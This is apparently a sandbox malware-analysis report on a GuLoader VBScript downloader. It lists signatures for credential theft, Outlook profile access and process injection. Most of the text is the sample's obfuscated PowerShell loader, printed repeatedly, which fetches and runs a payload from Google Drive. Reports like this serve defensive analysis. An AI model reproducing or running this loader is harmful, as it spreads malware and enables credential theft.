Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
144s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
18/09/2024, 01:39
Static task
static1
Behavioral task
behavioral1
Sample
d6c16f0698885773a3ab5c3d41f7669f6b3520822e5a998b525e38a8d9d38f74.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d6c16f0698885773a3ab5c3d41f7669f6b3520822e5a998b525e38a8d9d38f74.vbs
Resource
win10v2004-20240802-en
General
-
Target
d6c16f0698885773a3ab5c3d41f7669f6b3520822e5a998b525e38a8d9d38f74.vbs
-
Size
33KB
-
MD5
cd0669221e6722bb84542cc73f29a482
-
SHA1
3fdaefe57d23b8091b944a31604ad19e147a8ddf
-
SHA256
d6c16f0698885773a3ab5c3d41f7669f6b3520822e5a998b525e38a8d9d38f74
-
SHA512
48f1f862758fc879b5eb22d601fd1fe57af006c3b12779b86d6370b17c671375a019683abc99a60651ef44b633bb33d68f993f81026bf0df34b55d347d06f5ec
-
SSDEEP
384:Z9vOg3vacyZnIr8hWY/NeNz7trA4qAGkespLV5SEGOiOUvT4drEhN4Q:Zp3vcWY/UzOkelSVrwD
Malware Config
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Blocklisted process makes network request 2 IoCs
flow pid Process 15 2968 powershell.exe 17 2968 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation WScript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook wabmig.exe Key opened \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook wabmig.exe Key opened \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook wabmig.exe -
pid Process 2968 powershell.exe 2916 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 14 drive.google.com 15 drive.google.com 25 drive.google.com -
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
pid Process 3456 wabmig.exe 3456 wabmig.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2916 powershell.exe 3456 wabmig.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2916 set thread context of 3456 2916 powershell.exe 96 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wabmig.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2968 powershell.exe 2968 powershell.exe 2916 powershell.exe 2916 powershell.exe 2916 powershell.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 2916 powershell.exe 2916 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2968 powershell.exe Token: SeDebugPrivilege 2916 powershell.exe Token: SeDebugPrivilege 3456 wabmig.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 4904 wrote to memory of 2968 4904 WScript.exe 82 PID 4904 wrote to memory of 2968 4904 WScript.exe 82 PID 2968 wrote to memory of 3104 2968 powershell.exe 84 PID 2968 wrote to memory of 3104 2968 powershell.exe 84 PID 2968 wrote to memory of 2448 2968 powershell.exe 90 PID 2968 wrote to memory of 2448 2968 powershell.exe 90 PID 2448 wrote to memory of 2916 2448 cmd.exe 91 PID 2448 wrote to memory of 2916 2448 cmd.exe 91 PID 2448 wrote to memory of 2916 2448 cmd.exe 91 PID 2916 wrote to memory of 1104 2916 powershell.exe 94 PID 2916 wrote to memory of 1104 2916 powershell.exe 94 PID 2916 wrote to memory of 1104 2916 powershell.exe 94 PID 2916 wrote to memory of 4808 2916 powershell.exe 95 PID 2916 wrote to memory of 4808 2916 powershell.exe 95 PID 2916 wrote to memory of 4808 2916 powershell.exe 95 PID 2916 wrote to memory of 3456 2916 powershell.exe 96 PID 2916 wrote to memory of 3456 2916 powershell.exe 96 PID 2916 wrote to memory of 3456 2916 powershell.exe 96 PID 2916 wrote to memory of 3456 2916 powershell.exe 96 PID 2916 wrote to memory of 3456 2916 powershell.exe 96 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook wabmig.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook wabmig.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d6c16f0698885773a3ab5c3d41f7669f6b3520822e5a998b525e38a8d9d38f74.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4904 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Oud Foldure Reabstracts #>;$Udtydning='Coeditor';<#Undrugged Impeachability Kludges Seeable #>;$Smaamnstredes=$host.PrivateData;If ($Smaamnstredes) {$Sammentrde++;}function Corrodent($Nvningenes){$Stemmetlleren48=$Nvningenes.Length-$Sammentrde;for( $Afsvkkelsen=5;$Afsvkkelsen -lt $Stemmetlleren48;$Afsvkkelsen+=6){$Overtower197+=$Nvningenes[$Afsvkkelsen];}$Overtower197;}function pladsbilletterne($Stall){ & ($Affedningen) ($Stall);}$Trykkerlrlingene=Corrodent 'CentrMDechlo Au.nzArbouiIndskltrojklOutdra mhra/Dyn s5No an. Ski 0Unch. Sto m(CiffeWUpersiAthetnVerdedFumaroWo.stwStemms Libb PukatNCtbroTPr,nc konfi1Felto0Selvf.Under0Stude;R for UnaccW RefeiProcenOscu,6Baa d4Lftes;Cumul Syni.x D ca6Conf 4Areol;Hybri Su etrCo.trvUdr g:Coffl1T,nds2 sen 1 Over.Chron0Hasid)Fagli AmetaGPlie eLobedcKneehk ContoFremf/Samme2Anath0Snyde1 Kopi0.rins0 toxo1 Maxi0Trapb1Afteg BeskfF PorciFemogrPersoeSnekdf Te roLau ix Aura/Strik1Dakot2Steni1Un in.Hjlpe0 Pse ';$Bravurariers=Corrodent ' jtauKrlbeSDurabe TeroR ,mph-Arbeja B ligNonmaEUnderNReharTCl ym ';$Tomler=Corrodent ' K njhNedsttDash.tRail.psstersHebet:Supp /Chiot/Treeld PhenrHobo.i O.ycvVasaleTell .Holdig NonroLegalo Sveng CapilFun.teKelyp..xonscMlleroSpi lmBil e/Al emuStrepcMaalg?FranceBeeyaxindflpStudio ci cr PorttTobak= ki,kdHov,doOpspiwUnnaknBasellAfmaroEmpiraForhid fsnr&StormiS.nsidDisi =P,eva1PeppeBSumerYhydroB udka7tide L SkatHCan yw DdsssForsyrBrndvUVict,0Nicot0BrankCLandm0CatteuUd prEMedar6Hasti7 achrItanke3 UnmakjulebCEdd,rJTaar,dLsninB PalajNeu.ojForstB g,ae2KvisthLande-Mi rog Unc ';$Disbalance=Corrodent 'Trkni>Ladin ';$Affedningen=Corrodent ' PredI lokbeNederx K lt ';$Myoporaceae='Fuglefngeres';$Vikse = Corrodent 'BecomeUddracPrepohAquaroGhoul Midd %bagvaaSp,ckpUnderp,adopd PantafirvrtLre oa Iden%Co.ve\ OutgGFlytbyPixilm levanclothaSi.etsVrdisiKerneeO suglBlendrKataseBlr brHelse3 V ri6Gaard. GoslBPirifrLa ynuFjern Orna &Sassa&B ead GradueStammcSkue hOxypuoIndge BeskytAerop ';pladsbilletterne (Corrodent 'Hetze$UndergHan,aldentaoFolkebKawa,a BrinlEnvo.:DowntATheserIlde aHydrom osenaLedniySkri o tooli Un it GaareTjrin=Hol e(AflsncanlasmF.alad Stvr Forly/prsi clighe Fo,si$ArizoVShoveiAn,ngkPenhosP.tchefj le)H ver ');pladsbilletterne (Corrodent 'Over $TylengStartlUnimpoNik ebFi etatetralTe ro:ForesS ProgrMnemogErmake sam,mNarkoaE,sforArchcc BumfhTrans2Album5 Slau=B.sid$B serT BygnoPerismKhanelaudioeFactirDoppe.Si tbsC prepBronclTackiiEyrentMenar(O.thy$BnkstDSove.iVisers S lgbHoresaSepi,lca paaKorrunOpfatc BunkeLalle) Pres ');pladsbilletterne (Corrodent 'Sabad[U.lbsN Myxoe ilvrt K uz. OrgaSVis le lektr oorvAndeliCandec Rel eErbiaPDys ao Brevi Be enUncatt evelMS,desa delsnAsmolaFalcogBe taeB.rrerGu li]Ophiu:Skoko:TalemS Erhoe spercAplacuTr burFj.skiProantMethyy TwofPAlkohr vinaoFdselt Esprospos cN,issoAfvallr fle Blom =Belie squab[ K idNFigu.e b nit Ne r.S,rasSOver,eParapcRestpuBnnemrTaboriHattetForudyNiterPOysterHje lo ksetPro ooJordbcAugmeoAgelelSyntaTCohabyOt llpWam,leS.ass]Ecume:cor e:TriflTSummalGryd s Knip1 Bill2Typhl ');$Tomler=$Srgemarch25[0];$Ventrine= (Corrodent ',nstd$KaliugCra,elCaloyoSyrefbUtrovaMonosL Da.t:T ansd U emrKritiN.dtrfIUn,ulNDa,ghGByn vS No.r=MarkeNEnde eD ctawSleev-BelysoMichlbAktiejCommuE LninC G blt Unwh ,ikas.kyriY,onplsspaltTU give Goodm Spyd.SquibnN ttiERe egt Gl.r.IndskwS ydieOverdBF.jlsc.odstl Fi,mi oreteSkrefNUnpert');$Ventrine+=$Aramayoite[1];pladsbilletterne ($Ventrine);pladsbilletterne (Corrodent 'Pr,di$Grf.eDmarm rCanadnTmmeriOxy ln ommig Sbeus orgu.ShedmHD vice Creva Mat,dS sleePallerHistosNorma[A pol$SubmuBMandarslugaaKommavTymp.uPaaflrForgaaStaahrUn griGaudeeKli,prpans s Derm]Rd in=Odont$H lpsTDreggrRectayForesk Non kNyhe,eSejlkrqu.drl Di.arOverdlSneeziInternToppogOu sieStep nSjuskeSprll ');$Indkringsfases=Corrodent 'Yemen$ErhveD Is er,strinnonsyiU.ccenParazgImpals Dieh.DoonsDP,imao Fyl w affrnKo fll Se so,ronpa lockdGr ntFOchroiRemanlAnkereVand (Gnath$JowarTHiperoJiliamCuriel Gr ueHair rbogbi,B ndt$OverrAT,ibon Do.eeSarcil RideiEmb,enBetelgTurid)Ch.rg ';$Aneling=$Aramayoite[0];pladsbilletterne (Corrodent ' Natu$JernbgFejlsL Ind.O PromB PenoAFordrLKorps:Blasts EmboKmahogiIn beLKontaSSted.MKommuiRenomSLov sSDoze eAvowibkiangeTankvV .eleIKatedLReposLTyvetiCr.cin RepagPundsEDesinRGymna=Demit( Ekset ille LansSNine.Ttvrfa-PlusspfaldbAethnitLuftlhNin p under$InterAMuss,nT aktEkritiLselv i Skoln Ind GProra)Lytte ');while (!$Skilsmissebevillinger) {pladsbilletterne (Corrodent 'lingv$SteplgArizolTr aaoC takbAmovaaInauglvinge:Lee aT Sea,aBaalpcInur hNovi eNonmatMae,lu,eepurHe lceAcc s1 Yugo4Yeste3Expul= endr$PandatPresurVe neuL utueIn st ') ;pladsbilletterne $Indkringsfases;pladsbilletterne (Corrodent 'gas eS Lys.t irreadoubtrToptet Lens-SnokeSAdvoklRetoueR dwoe envipsjatt ,nun4Nonfo ');pladsbilletterne (Corrodent 'Major$G ogggCozyilBorg,o BefobfinanaDemoklCigar:Ge erSPorcekForudiLysatlBrachsvej.smLygteiFordjsInjussBilleeVognmbUncomeServiv Demoi annelDent.lkonveiSpaidnUpgatgPropteFifterIn,ti=Decel(RogueTUpopueAus rs Yow.tPlusk-PolysPSentia,aceltInpu h Tall Und s$KarreADecennK,lmieGrydelUnmediExtranNonprg Part)Data. ') ;pladsbilletterne (Corrodent 'Selvf$Dv grg DyrelLinedo PneubTelltaUntenl Pro :MisbeI ddiklProp,lAfgr uP stsmLob ciPar,tn Vid atoasttTo deoSpaltr stib=April$InescgSohqulUnissoLydlab Co naGa,lil arle:RepenP non sLaengebespau etyddH.tereW eezpsubaribossegudstdrSpairaRigsdpMisplhd naaoFiltenCtra + kovt+aa re%Choke$ WellSEtaper Medlg LuteeHimmemFiskeabipolrRh mbcEksemhElekt2Venez5Ba om.U sttcInvoco Kderu OpvanBukstt M,xi ') ;$Tomler=$Srgemarch25[$Illuminator];}$Saucer=298805;$Videoafspilleres=29219;pladsbilletterne (Corrodent 'Nacry$Am,asgM ljblBalloo ransbEkstraSocielNonpr:RisikHGarnea PhileDeg,gmPersoo k,ekt Supeo Credx ClupiSlatic ejtr Justi=Meni Lngs G RampePisketlairm- s miC semiounwienTils.tV jmaeBefornindsttRe.er Penty$ Abb ADogmanS ltieStje l SquiiElengnddedagNonfr ');pladsbilletterne (Corrodent 'Eusk $,avvrginterlRingsoLim,obLigevaScattlPal.o:Par.hDSk iviMin.da BlidlBelieo Thysg Appli ivebsRallyeMaladd Proh8Trinb2Vesti Rgfor=appel rot[ PrevS uksuyDgnprsBurhet S,deeAfbrymEspre.DullsCSilhuoMitren Unc.vKlippeKirkerFarettPille]O tsh:S der:k nomFDisplr Inteo impomOcotiBMerglaDefinsOegedeObjur6Jetja4Ande SMargetUdskrrKonomi Egn,nMycelgE uaw(Psy.h$ M gnH.ytaaaSemiceGallemFortyoadjuntShed.oSmaabxFarveiInterc Prot) En,o ');pladsbilletterne (Corrodent ' Pr.t$ PseugWhsillhistioAk ivbCretoaTilgalF eur: VariUUncivdR sulsFloritUnre yUncutrRidsee G.nelAltdosDannee BalarDendr G,thk= ffi Tryk[BredbSTradeyCuirasSkrivtRulleeMatermSlapp.perosTInhibeTurisxSammetBedra.T umpEGlimpnJateoc SurmoAleurdCorreiL efenUsaarg Hjlp]Konfd:Ele,a:lam,iA TaksS.ontaC Ar.oIWagneITitre. ChilGBa.ble ortltSuperSP gurt SawsrChartiKrigenKoansgTelev( favo$SpydiDNonmiiBrospaAsorrlSiksao itacgNebu iDevias ndroetrissdFedts8Und r2 f.ot)Inve. ');pladsbilletterne (Corrodent ' tr i$ Dis gLseholIntegoRynkeb NecraTndeslCentr: ReloF usinoApatirRitmesBakketPredeaDemulaka.aeeCarinlDiagos arvee ,ogisLakfapDiscorWarnroMarencPrivaeO,erpsstolts Vente,rvejrLevernApp reTofte= Fisk$Ov rjUgalahdGevansSydf tElr tyQuin.rLaed e Af yl SpissSupr ePla erForbi.SennesFinanu.emicbPlyndsAfgudt RisarSyndiiLugtunKilomgF rha(Bi da$ScoreSSelvfaVagtpuMis,gcClinoeOplg rForgr,Prosa$Qui.nVWrapaiRens dLeucoeVeneeo havea Urfjf Con sEclippTormeiAn iplOleaclHypogeFlyt,r Bai e Obsts Head)Besid ');pladsbilletterne $Forstaaelsesprocesserne;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2968 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gymnasielrer36.Bru && echo t"3⤵PID:3104
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Oud Foldure Reabstracts #>;$Udtydning='Coeditor';<#Undrugged Impeachability Kludges Seeable #>;$Smaamnstredes=$host.PrivateData;If ($Smaamnstredes) {$Sammentrde++;}function Corrodent($Nvningenes){$Stemmetlleren48=$Nvningenes.Length-$Sammentrde;for( $Afsvkkelsen=5;$Afsvkkelsen -lt $Stemmetlleren48;$Afsvkkelsen+=6){$Overtower197+=$Nvningenes[$Afsvkkelsen];}$Overtower197;}function pladsbilletterne($Stall){ & ($Affedningen) ($Stall);}$Trykkerlrlingene=Corrodent 'CentrMDechlo Au.nzArbouiIndskltrojklOutdra mhra/Dyn s5No an. Ski 0Unch. Sto m(CiffeWUpersiAthetnVerdedFumaroWo.stwStemms Libb PukatNCtbroTPr,nc konfi1Felto0Selvf.Under0Stude;R for UnaccW RefeiProcenOscu,6Baa d4Lftes;Cumul Syni.x D ca6Conf 4Areol;Hybri Su etrCo.trvUdr g:Coffl1T,nds2 sen 1 Over.Chron0Hasid)Fagli AmetaGPlie eLobedcKneehk ContoFremf/Samme2Anath0Snyde1 Kopi0.rins0 toxo1 Maxi0Trapb1Afteg BeskfF PorciFemogrPersoeSnekdf Te roLau ix Aura/Strik1Dakot2Steni1Un in.Hjlpe0 Pse ';$Bravurariers=Corrodent ' jtauKrlbeSDurabe TeroR ,mph-Arbeja B ligNonmaEUnderNReharTCl ym ';$Tomler=Corrodent ' K njhNedsttDash.tRail.psstersHebet:Supp /Chiot/Treeld PhenrHobo.i O.ycvVasaleTell .Holdig NonroLegalo Sveng CapilFun.teKelyp..xonscMlleroSpi lmBil e/Al emuStrepcMaalg?FranceBeeyaxindflpStudio ci cr PorttTobak= ki,kdHov,doOpspiwUnnaknBasellAfmaroEmpiraForhid fsnr&StormiS.nsidDisi =P,eva1PeppeBSumerYhydroB udka7tide L SkatHCan yw DdsssForsyrBrndvUVict,0Nicot0BrankCLandm0CatteuUd prEMedar6Hasti7 achrItanke3 UnmakjulebCEdd,rJTaar,dLsninB PalajNeu.ojForstB g,ae2KvisthLande-Mi rog Unc ';$Disbalance=Corrodent 'Trkni>Ladin ';$Affedningen=Corrodent ' PredI lokbeNederx K lt ';$Myoporaceae='Fuglefngeres';$Vikse = Corrodent 'BecomeUddracPrepohAquaroGhoul Midd %bagvaaSp,ckpUnderp,adopd PantafirvrtLre oa Iden%Co.ve\ OutgGFlytbyPixilm levanclothaSi.etsVrdisiKerneeO suglBlendrKataseBlr brHelse3 V ri6Gaard. GoslBPirifrLa ynuFjern Orna &Sassa&B ead GradueStammcSkue hOxypuoIndge BeskytAerop ';pladsbilletterne (Corrodent 'Hetze$UndergHan,aldentaoFolkebKawa,a BrinlEnvo.:DowntATheserIlde aHydrom osenaLedniySkri o tooli Un it GaareTjrin=Hol e(AflsncanlasmF.alad Stvr Forly/prsi clighe Fo,si$ArizoVShoveiAn,ngkPenhosP.tchefj le)H ver ');pladsbilletterne (Corrodent 'Over $TylengStartlUnimpoNik ebFi etatetralTe ro:ForesS ProgrMnemogErmake sam,mNarkoaE,sforArchcc BumfhTrans2Album5 Slau=B.sid$B serT BygnoPerismKhanelaudioeFactirDoppe.Si tbsC prepBronclTackiiEyrentMenar(O.thy$BnkstDSove.iVisers S lgbHoresaSepi,lca paaKorrunOpfatc BunkeLalle) Pres ');pladsbilletterne (Corrodent 'Sabad[U.lbsN Myxoe ilvrt K uz. OrgaSVis le lektr oorvAndeliCandec Rel eErbiaPDys ao Brevi Be enUncatt evelMS,desa delsnAsmolaFalcogBe taeB.rrerGu li]Ophiu:Skoko:TalemS Erhoe spercAplacuTr burFj.skiProantMethyy TwofPAlkohr vinaoFdselt Esprospos cN,issoAfvallr fle Blom =Belie squab[ K idNFigu.e b nit Ne r.S,rasSOver,eParapcRestpuBnnemrTaboriHattetForudyNiterPOysterHje lo ksetPro ooJordbcAugmeoAgelelSyntaTCohabyOt llpWam,leS.ass]Ecume:cor e:TriflTSummalGryd s Knip1 Bill2Typhl ');$Tomler=$Srgemarch25[0];$Ventrine= (Corrodent ',nstd$KaliugCra,elCaloyoSyrefbUtrovaMonosL Da.t:T ansd U emrKritiN.dtrfIUn,ulNDa,ghGByn vS No.r=MarkeNEnde eD ctawSleev-BelysoMichlbAktiejCommuE LninC G blt Unwh ,ikas.kyriY,onplsspaltTU give Goodm Spyd.SquibnN ttiERe egt Gl.r.IndskwS ydieOverdBF.jlsc.odstl Fi,mi oreteSkrefNUnpert');$Ventrine+=$Aramayoite[1];pladsbilletterne ($Ventrine);pladsbilletterne (Corrodent 'Pr,di$Grf.eDmarm rCanadnTmmeriOxy ln ommig Sbeus orgu.ShedmHD vice Creva Mat,dS sleePallerHistosNorma[A pol$SubmuBMandarslugaaKommavTymp.uPaaflrForgaaStaahrUn griGaudeeKli,prpans s Derm]Rd in=Odont$H lpsTDreggrRectayForesk Non kNyhe,eSejlkrqu.drl Di.arOverdlSneeziInternToppogOu sieStep nSjuskeSprll ');$Indkringsfases=Corrodent 'Yemen$ErhveD Is er,strinnonsyiU.ccenParazgImpals Dieh.DoonsDP,imao Fyl w affrnKo fll Se so,ronpa lockdGr ntFOchroiRemanlAnkereVand (Gnath$JowarTHiperoJiliamCuriel Gr ueHair rbogbi,B ndt$OverrAT,ibon Do.eeSarcil RideiEmb,enBetelgTurid)Ch.rg ';$Aneling=$Aramayoite[0];pladsbilletterne (Corrodent ' Natu$JernbgFejlsL Ind.O PromB PenoAFordrLKorps:Blasts EmboKmahogiIn beLKontaSSted.MKommuiRenomSLov sSDoze eAvowibkiangeTankvV .eleIKatedLReposLTyvetiCr.cin RepagPundsEDesinRGymna=Demit( Ekset ille LansSNine.Ttvrfa-PlusspfaldbAethnitLuftlhNin p under$InterAMuss,nT aktEkritiLselv i Skoln Ind GProra)Lytte ');while (!$Skilsmissebevillinger) {pladsbilletterne (Corrodent 'lingv$SteplgArizolTr aaoC takbAmovaaInauglvinge:Lee aT Sea,aBaalpcInur hNovi eNonmatMae,lu,eepurHe lceAcc s1 Yugo4Yeste3Expul= endr$PandatPresurVe neuL utueIn st ') ;pladsbilletterne $Indkringsfases;pladsbilletterne (Corrodent 'gas eS Lys.t irreadoubtrToptet Lens-SnokeSAdvoklRetoueR dwoe envipsjatt ,nun4Nonfo ');pladsbilletterne (Corrodent 'Major$G ogggCozyilBorg,o BefobfinanaDemoklCigar:Ge erSPorcekForudiLysatlBrachsvej.smLygteiFordjsInjussBilleeVognmbUncomeServiv Demoi annelDent.lkonveiSpaidnUpgatgPropteFifterIn,ti=Decel(RogueTUpopueAus rs Yow.tPlusk-PolysPSentia,aceltInpu h Tall Und s$KarreADecennK,lmieGrydelUnmediExtranNonprg Part)Data. ') ;pladsbilletterne (Corrodent 'Selvf$Dv grg DyrelLinedo PneubTelltaUntenl Pro :MisbeI ddiklProp,lAfgr uP stsmLob ciPar,tn Vid atoasttTo deoSpaltr stib=April$InescgSohqulUnissoLydlab Co naGa,lil arle:RepenP non sLaengebespau etyddH.tereW eezpsubaribossegudstdrSpairaRigsdpMisplhd naaoFiltenCtra + kovt+aa re%Choke$ WellSEtaper Medlg LuteeHimmemFiskeabipolrRh mbcEksemhElekt2Venez5Ba om.U sttcInvoco Kderu OpvanBukstt M,xi ') ;$Tomler=$Srgemarch25[$Illuminator];}$Saucer=298805;$Videoafspilleres=29219;pladsbilletterne (Corrodent 'Nacry$Am,asgM ljblBalloo ransbEkstraSocielNonpr:RisikHGarnea PhileDeg,gmPersoo k,ekt Supeo Credx ClupiSlatic ejtr Justi=Meni Lngs G RampePisketlairm- s miC semiounwienTils.tV jmaeBefornindsttRe.er Penty$ Abb ADogmanS ltieStje l SquiiElengnddedagNonfr ');pladsbilletterne (Corrodent 'Eusk $,avvrginterlRingsoLim,obLigevaScattlPal.o:Par.hDSk iviMin.da BlidlBelieo Thysg Appli ivebsRallyeMaladd Proh8Trinb2Vesti Rgfor=appel rot[ PrevS uksuyDgnprsBurhet S,deeAfbrymEspre.DullsCSilhuoMitren Unc.vKlippeKirkerFarettPille]O tsh:S der:k nomFDisplr Inteo impomOcotiBMerglaDefinsOegedeObjur6Jetja4Ande SMargetUdskrrKonomi Egn,nMycelgE uaw(Psy.h$ M gnH.ytaaaSemiceGallemFortyoadjuntShed.oSmaabxFarveiInterc Prot) En,o ');pladsbilletterne (Corrodent ' Pr.t$ PseugWhsillhistioAk ivbCretoaTilgalF eur: VariUUncivdR sulsFloritUnre yUncutrRidsee G.nelAltdosDannee BalarDendr G,thk= ffi Tryk[BredbSTradeyCuirasSkrivtRulleeMatermSlapp.perosTInhibeTurisxSammetBedra.T umpEGlimpnJateoc SurmoAleurdCorreiL efenUsaarg Hjlp]Konfd:Ele,a:lam,iA TaksS.ontaC Ar.oIWagneITitre. ChilGBa.ble ortltSuperSP gurt SawsrChartiKrigenKoansgTelev( favo$SpydiDNonmiiBrospaAsorrlSiksao itacgNebu iDevias ndroetrissdFedts8Und r2 f.ot)Inve. ');pladsbilletterne (Corrodent ' tr i$ Dis gLseholIntegoRynkeb NecraTndeslCentr: ReloF usinoApatirRitmesBakketPredeaDemulaka.aeeCarinlDiagos arvee ,ogisLakfapDiscorWarnroMarencPrivaeO,erpsstolts Vente,rvejrLevernApp reTofte= Fisk$Ov rjUgalahdGevansSydf tElr tyQuin.rLaed e Af yl SpissSupr ePla erForbi.SennesFinanu.emicbPlyndsAfgudt RisarSyndiiLugtunKilomgF rha(Bi da$ScoreSSelvfaVagtpuMis,gcClinoeOplg rForgr,Prosa$Qui.nVWrapaiRens dLeucoeVeneeo havea Urfjf Con sEclippTormeiAn iplOleaclHypogeFlyt,r Bai e Obsts Head)Besid ');pladsbilletterne $Forstaaelsesprocesserne;"3⤵
- Suspicious use of WriteProcessMemory
PID:2448 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Oud Foldure Reabstracts #>;$Udtydning='Coeditor';<#Undrugged Impeachability Kludges Seeable #>;$Smaamnstredes=$host.PrivateData;If ($Smaamnstredes) {$Sammentrde++;}function Corrodent($Nvningenes){$Stemmetlleren48=$Nvningenes.Length-$Sammentrde;for( $Afsvkkelsen=5;$Afsvkkelsen -lt $Stemmetlleren48;$Afsvkkelsen+=6){$Overtower197+=$Nvningenes[$Afsvkkelsen];}$Overtower197;}function pladsbilletterne($Stall){ & ($Affedningen) ($Stall);}$Trykkerlrlingene=Corrodent 'CentrMDechlo Au.nzArbouiIndskltrojklOutdra mhra/Dyn s5No an. Ski 0Unch. Sto m(CiffeWUpersiAthetnVerdedFumaroWo.stwStemms Libb PukatNCtbroTPr,nc konfi1Felto0Selvf.Under0Stude;R for UnaccW RefeiProcenOscu,6Baa d4Lftes;Cumul Syni.x D ca6Conf 4Areol;Hybri Su etrCo.trvUdr g:Coffl1T,nds2 sen 1 Over.Chron0Hasid)Fagli AmetaGPlie eLobedcKneehk ContoFremf/Samme2Anath0Snyde1 Kopi0.rins0 toxo1 Maxi0Trapb1Afteg BeskfF PorciFemogrPersoeSnekdf Te roLau ix Aura/Strik1Dakot2Steni1Un in.Hjlpe0 Pse ';$Bravurariers=Corrodent ' jtauKrlbeSDurabe TeroR ,mph-Arbeja B ligNonmaEUnderNReharTCl ym ';$Tomler=Corrodent ' K njhNedsttDash.tRail.psstersHebet:Supp /Chiot/Treeld PhenrHobo.i O.ycvVasaleTell .Holdig NonroLegalo Sveng CapilFun.teKelyp..xonscMlleroSpi lmBil e/Al emuStrepcMaalg?FranceBeeyaxindflpStudio ci cr PorttTobak= ki,kdHov,doOpspiwUnnaknBasellAfmaroEmpiraForhid fsnr&StormiS.nsidDisi =P,eva1PeppeBSumerYhydroB udka7tide L SkatHCan yw DdsssForsyrBrndvUVict,0Nicot0BrankCLandm0CatteuUd prEMedar6Hasti7 achrItanke3 UnmakjulebCEdd,rJTaar,dLsninB PalajNeu.ojForstB g,ae2KvisthLande-Mi rog Unc ';$Disbalance=Corrodent 'Trkni>Ladin ';$Affedningen=Corrodent ' PredI lokbeNederx K lt ';$Myoporaceae='Fuglefngeres';$Vikse = Corrodent 'BecomeUddracPrepohAquaroGhoul Midd %bagvaaSp,ckpUnderp,adopd PantafirvrtLre oa Iden%Co.ve\ OutgGFlytbyPixilm levanclothaSi.etsVrdisiKerneeO suglBlendrKataseBlr brHelse3 V ri6Gaard. GoslBPirifrLa ynuFjern Orna &Sassa&B ead GradueStammcSkue hOxypuoIndge BeskytAerop ';pladsbilletterne (Corrodent 'Hetze$UndergHan,aldentaoFolkebKawa,a BrinlEnvo.:DowntATheserIlde aHydrom osenaLedniySkri o tooli Un it GaareTjrin=Hol e(AflsncanlasmF.alad Stvr Forly/prsi clighe Fo,si$ArizoVShoveiAn,ngkPenhosP.tchefj le)H ver ');pladsbilletterne (Corrodent 'Over $TylengStartlUnimpoNik ebFi etatetralTe ro:ForesS ProgrMnemogErmake sam,mNarkoaE,sforArchcc BumfhTrans2Album5 Slau=B.sid$B serT BygnoPerismKhanelaudioeFactirDoppe.Si tbsC prepBronclTackiiEyrentMenar(O.thy$BnkstDSove.iVisers S lgbHoresaSepi,lca paaKorrunOpfatc BunkeLalle) Pres ');pladsbilletterne (Corrodent 'Sabad[U.lbsN Myxoe ilvrt K uz. OrgaSVis le lektr oorvAndeliCandec Rel eErbiaPDys ao Brevi Be enUncatt evelMS,desa delsnAsmolaFalcogBe taeB.rrerGu li]Ophiu:Skoko:TalemS Erhoe spercAplacuTr burFj.skiProantMethyy TwofPAlkohr vinaoFdselt Esprospos 